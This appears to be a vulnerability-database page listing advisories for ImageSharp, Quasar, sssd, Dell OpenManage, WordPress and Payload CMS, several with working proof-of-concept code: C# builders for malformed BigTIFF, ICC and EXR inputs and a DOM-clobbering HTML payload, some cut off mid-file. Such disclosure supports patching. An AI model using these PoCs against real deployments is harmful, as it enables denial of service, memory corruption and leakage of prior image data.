Threat database

ImageSharp is a 2D graphics library. From 3.0.0 until 4.1.1, decoding a strip TIFF using CCITT Group 3 or Modified Huffman compression can pass attacker-expanded runs to BitWriterUtils.WriteBits without first checking the current row width. T4TiffCompression.WritePixelRun can accumulate oversized makeup-code runs, and ModifiedHuffmanTiffCompression.Decompress validates the width only after writing. The unchecked writes can overflow the strip buffer, corrupt heap memory, and terminate the process. This strip-path vulnerability is distinct from the tiled decompressor-width mismatch. This issue is fixed in version 4.1.1.

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

A flaw was found in sssd. A local user can cause a Denial of Service (DoS) by exhausting the responder service's available file descriptors (system handles used for open connections). By opening and maintaining many concurrent connections to a responder socket while continuing to queue new connection attempts, an attacker can trigger an unthrottled retry loop. This condition leads to high CPU utilization and stalls the service, preventing legitimate identity and authentication requests from being processed.

CVE-2026-106115 is an out-of-bounds write vulnerability in the TIFF CCITT Group 4 encoder of SixLabors ImageSharp, a 2D graphics library. Versions from 2.1.0 up to but not including 4.1.2 are affected. The issue arises because the encoder allocates insufficient buffer size, while the compression function can write beyond this allocated memory, leading to memory corruption and potential process termination. This vulnerability is fixed in version 4.1.2.

CVE-2026-106114 is a medium severity vulnerability in SixLabors.ImageSharp affecting versions from 1.0.0-beta0001 through 4.1.1. It involves a memory allocation flaw triggered by a malformed embedded ICC profile, which causes the library to allocate an excessively large amount of memory before validating the profile data. This can lead to significant memory pressure but does not cause unhandled crashes or data corruption. The issue occurs during ICC profile decoding when color profile conversion is enabled. No active exploitation is known, and the allocation failure is caught by the library.

CVE-2026-66666 is a vulnerability in Automattic WordPress that allows insertion of sensitive information into sent data, potentially exposing embedded sensitive data. It affects multiple WordPress versions from 6.6 through 7.1.2. The vulnerability has a medium severity with a CVSS score of 6.9. No official patch or remediation details are provided in the available data.

SixLabors.ImageSharp versions 2.0.0 through 4.1.1 contain an out-of-bounds write vulnerability triggered when decoding a specially crafted 32-bit floating-point TIFF image as Image<HalfVector4> and applying HistogramEqualization(). The issue arises from an unchecked luminance-derived histogram index that can be out-of-range due to positive-infinity TIFF samples, causing an AccessViolationException and process termination. No active exploitation is known.

### Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three. ### Details `IccClut` accepts one through fifteen input and output channels. In the reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87) passes a pointer to a four-float `Vector4` result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their [`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58) implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`. An application reaches this code by decoding an image containing the profile with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the default and does not run ICC conversion. ### Reproduction environment and result The supplied exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below. Complete control output: ```text mode=control output_channels=3 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=204 decode_completed Docker exit status: 0 ``` Complete exploit output: ```text mode=exploit output_channels=15 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=207 Docker exit status: 139 ``` No active exploitation is known. ### Impact Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header);

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-ass

Dell OpenManage Integration with Microsoft Windows Admin Center versions prior to 3.7.0 contains an OS Command Injection vulnerability (CWE-78). This flaw allows a low privileged attacker with remote access to potentially execute arbitrary commands on the affected system. The vulnerability has a high severity with a CVSS score of 8.8, indicating significant impact on confidentiality, integrity, and availability.

CVE-2026-106110 is a high-severity out-of-bounds write vulnerability in the SixLabors ImageSharp 2D graphics library affecting versions from 2.0.0 up to but not including 4.1.2. The issue occurs in the TIFF CCITT Group 3 encoder, which allocates an undersized buffer for compressed data in narrow 1-bit images. This leads to unchecked writes beyond the allocated memory during compression, potentially corrupting process memory and causing process termination. The vulnerability is fixed in version 4.1.2.

CVE-2026-106109 is a path traversal vulnerability in the Quasar Framework's @quasar/app-vite build tool. Versions from 1.0.0 up to but not including 3.3.0 recursively remove the resolved build.distDir directory before building without properly restricting critical directories such as the project root, user home, filesystem roots, or symlink-resolved external directories. This can lead to unintended deletion of data writable by the build user if an unsafe trusted configuration is used. Exploitation requires either compromised or less-trusted automation influencing the build configuration or a developer running a mistaken configuration. The vulnerability is fixed in version 3.3.0.

Quasar Framework versions prior to 3.3.0 contain a cross-site scripting (XSS) vulnerability due to improper neutralization of input during server-side rendering and static site generation. The vulnerability arises when the ssrContext.nonce value is interpolated directly into quoted HTML attributes without proper sanitization, allowing an attacker to inject malicious markup if they can control or override this value. This issue is fixed in version 3.3.0.

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError() in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env, request headers, and cookies into the HTTP page returned by serve.devError(), while the development server listened on all interfaces by default. Any network-adjacent client that reaches an SSR or SSG render failure through this development-only error path can obtain shell environment secrets. The renderer escaped only one exact lowercase script closing-tag spelling, so case variants and valid closing-tag delimiter variants in reflected diagnostic data could terminate the script element and inject markup; executing the injected code in a developer browser additionally requires the payload to accompany that developer's request. This issue is fixed in @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0.

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/ssl-certificate 2.1.0, @quasar/cli 5.0.4, and @quasar/app-vite 3.3.0, the @quasar/ssl-certificate utility cached a combined private key and certificate PEM without explicitly applying owner-only filesystem permissions. Another local user able to read the cache can copy the key and impersonate a development TLS endpoint in an environment that trusts the certificate. The generated certificate was also CA-capable, carried unnecessarily broad key usages, and encoded the IPv6 loopback address as a DNS subject alternative name. This issue is fixed in @quasar/ssl-certificate 2.1.0, @quasar/cli 5.0.4, and @quasar/app-vite 3.3.0.

CVE-2026-106104 is a high-severity vulnerability in the Quasar Framework prior to version 2.23.3. It involves inefficient regular expression complexity in the Platform.parseSSR() function, which processes the User-Agent header during server-side rendering (SSR). An attacker can craft a request with repeated version tokens causing super-linear backtracking in regex evaluation, blocking the Node.js event loop and delaying all SSR requests. This affects only SSR targets; other Quasar targets like SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation are not impacted. The issue is fixed in version 2.23.3.

CVE-2026-106103 is a path traversal vulnerability in the Quasar Framework's icongenie tool prior to version 6.1.1. The vulnerability allows a developer running a crafted profile to write or overwrite files outside the intended project directory, potentially modifying critical executable configuration files. This issue is fixed in version 6.1.1.

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.22.0, the SSR-only getHead() serializer in ui/src/plugins/meta/Meta.js used getAttr() to interpolate values supplied through useMeta() into title, meta, link, and script markup without HTML text or quoted-attribute encoding. injectServerMeta() appended that output to the raw server-rendered response. An attacker who can influence dynamic page metadata, such as a post title, product name, excerpt, or display name, can terminate the intended HTML context and inject executable markup before hydration. The client-side apply() path is not affected because it uses DOM APIs that encode attributes. This issue is fixed in version 2.22.0.

### Summary A DOM Clobbering vulnerability exists in Quasar's `openURL()` utility when handling the iOS `SafariViewController` bridge. The vulnerable implementation only checks whether `window.SafariViewController` exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as `<a id="SafariViewController">` can cause the browser to expose that element as `window.SafariViewController`. When `openURL()` is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` This can cause client-side denial of service and break navigation-related workflows in Quasar applications. ### Details Quasar provides the `openURL()` utility to open external URLs. On iOS platforms, this utility supports integration with the native `SafariViewController` bridge. The vulnerable code is located in: ``` ui/src/utils/open-url/open-url.js ```` The affected logic is: ```javascript if (Platform.is.ios && window.SafariViewController !== void 0) { window.SafariViewController.isAvailable(available => { if (available) { window.SafariViewController.show({ url }, noop, reject) } }) } ```` The issue is that Quasar only verifies that `window.SafariViewController` is not `undefined`. It does not verify whether the value is the expected native bridge object or whether required methods such as `isAvailable()` and `show()` are valid functions. Modern browsers expose elements with specific `id` or `name` attributes as properties of the global `window` object. Therefore, attacker-controlled HTML such as: ```html <a id="SafariViewController"></a> ``` can cause: ```javascript window.SafariViewController ``` to resolve to an `HTMLAnchorElement` instead of the expected native bridge object. When Quasar later executes: ```javascript window.SafariViewController.isAvailable(...) ``` the DOM element is incorrectly treated as the bridge object, causing: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects. The vulnerability was verified through the Quasar `QEditor` rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the `SafariViewController` named element, subsequent calls to `openURL()` fail. Additional component-level affected paths were identified in `QSelect` and `QChatMessage` when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction. ### PoC #### Steps to reproduce 1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as `QEditor`. 2. Insert the following payload: ```html <a id="SafariViewController" href="#bridge"> SafariViewController </a> ```` 3. Verify that the browser exposes the element as a global property: ```javascript window.SafariViewController ``` The value resolves to the injected DOM element instead of the expected native bridge object. 4. Trigger a normal workflow that invokes: ```javascript openURL('https://example.com') ``` 5. Observe the browser console output: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element. The same underlying issue can also affect other HTML rendering paths such as `QSelect` and `QChatMessage` when attacker-controlled HTML is rendered and the application later calls `openURL()`. ### Impact This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS `SafariViewController` integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's `openURL()` functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution. Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality. The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered `SafariViewController` object, preventing the expected URL opening behavior.

Payload is a free and open source headless content management system. In @payloadcms/db-mongodb versions before 3.87.0 and canary versions before 4.0.0-canary.20, an authenticated user who can update a document can modify fields that field-level write access control does not permit that user to change. The Postgres and SQLite adapters are not affected. This issue is fixed in versions 3.87.0 and 4.0.0-canary.20.